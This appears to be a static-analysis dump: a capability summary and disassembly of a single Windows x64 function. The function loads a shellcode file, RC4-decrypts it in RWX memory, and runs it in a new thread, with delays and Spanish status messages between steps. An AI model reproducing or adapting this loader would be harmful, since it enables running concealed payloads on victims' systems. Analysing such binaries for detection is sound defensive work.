Function at 0x140002790
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt data using rc4 ksa
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1d0]
sub rsp, 0x2d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1c8], rax
mov r15, rdx
xor esi, esi
cmp ecx, 3
je 0x14000282a
lea rdx, str.____Invalid_arguments_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004860
lea rdx, [0x140004a40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
mov rcx, qword [rbp + 0x1c8]
xor rcx, rsp
call fcn.140005ee0
lea r11, [rsp + 0x2d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rdx, qword [rdx + 0x10]
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x198], rsi
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rdx + r8], sil
jne 0x140002850
lea rcx, [rbp + 0x180]
call fcn.140004f80
nop
lea rax, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rax, qword [rbp + 0x180]
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x190]
mov qword [rbp + 0x148], rax
call fcn.1400059c0
movaps xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0x140], xmm0
lea r8, [rbp + 0x140]
mov edx, eax
lea rcx, [rbp + 0x160]
call fcn.140001b60
nop
lea rcx, [rbp + 0x160]
cmp qword [rbp + 0x178], 7
cmova rcx, qword [rbp + 0x160]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp + 0x1a0]
call fcn.140005afc
mov r8d, eax
test eax, eax
jne 0x140002945
mov edx, dword [rbp + 0x1b0]
test dl, 1
mov ecx, 0x1ff
mov eax, 0x16d
cmovne ecx, eax
mov dword [rbp + 0x144], ecx
mov ecx, edx
shr ecx, 0xa
test cl, 1
je 0x14000293a
mov eax, dword [rbp + 0x1b4]
cmp eax, 0xa000000c
jne 0x14000292c
mov edx, 4
jmp 0x14000296a
cmp eax, 0xa0000003
jne 0x14000293a
mov edx, 0xa
jmp 0x14000296a
shr edx, 4
and edx, 1
or edx, 2
jmp 0x14000296a
mov dword [rbp + 0x144], 0xffff
sub eax, 2
je 0x140002965
sub eax, 1
je 0x140002965
sub eax, 0x32
je 0x140002965
cmp eax, 0x46
mov edx, esi
jne 0x14000296a
mov edx, 1
mov dword [rbp + 0x140], r8d
lea rax, [0x14000c088]
mov qword [rbp + 0x148], rax
movaps xmm0, xmmword [rbp + 0x140]
movdqa xmmword [rbp + 0x140], xmm0
test edx, edx
je 0x1400029dd
cmp edx, 1
sete dil
mov rdx, qword [rbp + 0x178]
cmp rdx, 7
jbe 0x1400029f0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov dil, 1
test r8d, r8d
jne 0x1400031c1
jmp 0x140002999
call fcn.140005f3c
test dil, dil
jne 0x1400031d5
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x30]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rdx, qword [rbp + 0x180]
lea rcx, [rbp + 0x30]
call fcn.140004450
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x2c], edx
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x30]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
jne 0x140003171
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a0], xmm1
mov qword [rbp + 0x1b0], rsi
mov qword [rbp + 0x140], 0x100000
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x1a0]
call fcn.140004c40
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x160], xmm1
mov qword [rbp + 0x170], rsi
mov ecx, 0x100027
call fcn.140005f00
test rax, rax
je 0x14000316a
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov qword [rbp + 0x160], rdi
lea r14, [rdi + 0x100000]
mov qword [rbp + 0x170], r14
xor edx, edx
mov r8d, 0x100000
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x168], r14
nop word [rax + rax]
mov r8d, 0x100000
mov rdx, rdi
lea rcx, [rbp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
mov r9, qword [rbp + 0x38]
test al, al
jne 0x140002b30
test r9, r9
jle 0x140002b48
mov r8, rdi
mov rdx, qword [rbp + 0x1a8]
lea rcx, [rbp + 0x1a0]
call fcn.1400056e0
jmp 0x140002b00
lea rcx, [rbp + 0x40]
call fcn.140004390
test rax, rax
jne 0x140002b73
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x30]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov r12, qword [rbp + 0x1a8]
mov rsi, qword [rbp + 0x1a0]
sub r12, rsi
lea rdx, str.___Durmiendo_1_segundo..
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004860
lea rdx, [0x140004a40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbp + 0x140], rax
mov ecx, 0x3e8
call fcn.1400025e0
lea rdx, str.___Durmiendo_3_segundos..
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004860
lea rdx, [0x140004a40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
mov ecx, 0xbb8
call fcn.1400025e0
test r13, r13
je 0x140003008
mov qword [rsp + 0x20], 0
mov r9, r12
mov r8, rsi
mov rdx, r13
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rdx, str.___Durmiendo_4_segundos..
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004860
lea rdx, [0x140004a40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xfa0
call fcn.1400025e0
mov r15, qword [r15 + 8]
nop
inc rbx
cmp byte [r15 + rbx], 0
jne 0x140002c60
movdqa xmm2, xmmword [0x140008a50]
mov ecx, 8
lea rdx, [rsp + 0x34]
movdqa xmm3, xmmword [0x140008a60]
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 8]
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmm2
andps xmm0, xmm3
packuswb xmm0, xmm0
packuswb xmm0, xmm0
movd dword [rdx - 4], xmm0
lea eax, [rcx - 4]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm2
andps xmm1, xmm3
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [rdx], xmm1
movd xmm0, ecx
pshufd xmm0, xmm0, 0
paddd xmm0, xmm2
andps xmm0, xmm3
packuswb xmm0, xmm0
packuswb xmm0, xmm0
movd dword [rdx + 4], xmm0
lea eax, [rcx + 4]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm2
andps xmm1, xmm3
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd dword [rdx + 8], xmm1
add ecx, 0x10
lea rdx, [rdx + 0x10]
lea eax, [rcx - 8]
cmp eax, 0x100
jl 0x140002c90
xor r8b, r8b
xor r9d, r9d
lea r10, [rsp + 0x30]
nop dword [rax]
movzx r11d, byte [r10]
mov eax, r9d
cdq
idiv ebx
movsxd rax, edx
movsx ecx, byte [rax + r15]
add ecx, r11d
movzx r8d, r8b
add r8d, ecx
and r8d, 0x800000ff
jge 0x140002d62
dec r8d
or r8d, 0xffffff00
inc r8d
movzx eax, r8b
lea rcx, [rsp + 0x30]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r10], al
mov byte [rcx], r11b
inc r9d
inc r10
cmp r9d, 0x100
jl 0x140002d30
xor r15d, r15d
mov eax, r15d
xor r11b, r11b
mov ebx, r15d
test r12, r12
je 0x140002df8
mov r10, r13
nop word [rax + rax]
inc eax
and eax, 0x800000ff
jge 0x140002db2
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea r9, [rsp + 0x30]
add r9, rcx
movzx r8d, byte [r9]
add r11b, r8b
movzx ecx, r11b
lea rdx, [rsp + 0x30]
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [r9], cl
mov byte [rdx], r8b
movzx edx, byte [r9]
add rdx, r8
movzx ecx, dl
movzx edx, byte [rsp + rcx + 0x30]
xor byte [r10], dl
inc ebx
inc r10
movsxd rcx, ebx
cmp rcx, r12
jb 0x140002da0
lea rdx, str.___Durmiendo_5_segundos..
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004860
lea rdx, [0x140004a40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1388
call fcn.1400025e0
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
mov r8, r13
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test eax, eax
jne 0x140003008
lea rdx, str.Error_al_liberar_memoria:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140004860
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140004a40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
sub r14, rdi
cmp r14, 0x1000
jb 0x140002ed2
add r14, 0x27
mov rcx, qword [rdi - 8]
sub rdi, rcx
lea rax, [rdi - 8]
cmp rax, 0x1f
ja 0x14000316a
mov rdi, rcx
mov rdx, r14
mov rcx, rdi
call fcn.140005f3c
nop
test rsi, rsi
je 0x140002f1b
mov rdx, qword [rbp + 0x1b0]
sub rdx, rsi
mov rax, rsi
cmp rdx, 0x1000
jb 0x140002f12
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000306c
mov rcx, rsi
call fcn.140005f3c
nop
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x2c], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x40], rax
cmp qword [rbp + 0xc0], 0
je 0x140002f89
lea rcx, [rbp + 0xb0]
mov rax, qword [rbp + 0x58]
cmp qword [rax], rcx
jne 0x140002f89
mov rdx, qword [rbp + 0xd0]
mov rcx, qword [rbp + 0xc8]
mov qword [rax], rcx
mov rax, qword [rbp + 0x78]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x90]
mov dword [rax], edx
cmp byte [rbp + 0xbc], 0
je 0x140002f9b
lea rcx, [rbp + 0x40]
call fcn.140004390
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x48]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x1400027f5
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ffe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003157
call fcn.140005f3c
jmp 0x1400027f5
sub r14, rdi
cmp r14, 0x1000
jb 0x140003030
add r14, 0x27
mov rcx, qword [rdi - 8]
sub rdi, rcx
lea rax, [rdi - 8]
cmp rax, 0x1f
ja 0x14000316a
mov rdi, rcx
mov rdx, r14
mov rcx, rdi
call fcn.140005f3c
nop
test rsi, rsi
je 0x14000307c
mov rdx, qword [rbp + 0x1b0]
sub rdx, rsi
mov rax, rsi
cmp rdx, 0x1000
jb 0x140003073
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003073
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140005f3c
nop
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x2c], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x40], rax
cmp qword [rbp + 0xc0], 0
je 0x1400030ea
lea rcx, [rbp + 0xb0]
mov rax, qword [rbp + 0x58]
cmp qword [rax], rcx
jne 0x1400030ea
mov rdx, qword [rbp + 0xd0]
mov rcx, qword [rbp + 0xc8]
mov qword [rax], rcx
mov rax, qword [rbp + 0x78]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x90]
mov dword [rax], edx
cmp byte [rbp + 0xbc], 0
je 0x1400030fc
lea rcx, [rbp + 0x40]
call fcn.140004390
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x48]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140003163
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000315e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000315e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005f3c
xor eax, eax
jmp 0x1400027fa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rbp + 0x140]
call fcn.140001310
mov rbx, rax
lea r8, [rbp + 0x180]
lea rdx, str.____Error_opening_file
lea rcx, [rbp + 0x160]
call fcn.140004a80
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.140001ac0
lea rdx, [0x14000a790]
lea rcx, [rbp + 0x1a0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea r8, [rbp + 0x160]
lea rdx, [rbp + 0x140]
call fcn.140002580
nop
lea r8, [rbp + 0x180]
lea rdx, str.____Filename
lea rcx, [rbp + 0x1a0]
call fcn.140004a80
nop
mov rdx, rax
lea rcx, [rbp + 0x140]
call fcn.140004be0
nop
mov rdx, rax
lea rcx, [rbp + 0x160]
call fcn.1400011d0
lea rdx, [0x14000a690]
lea rcx, [rbp + 0x160]
call sub.VCRUNTIME140.dll__CxxThrowException
int3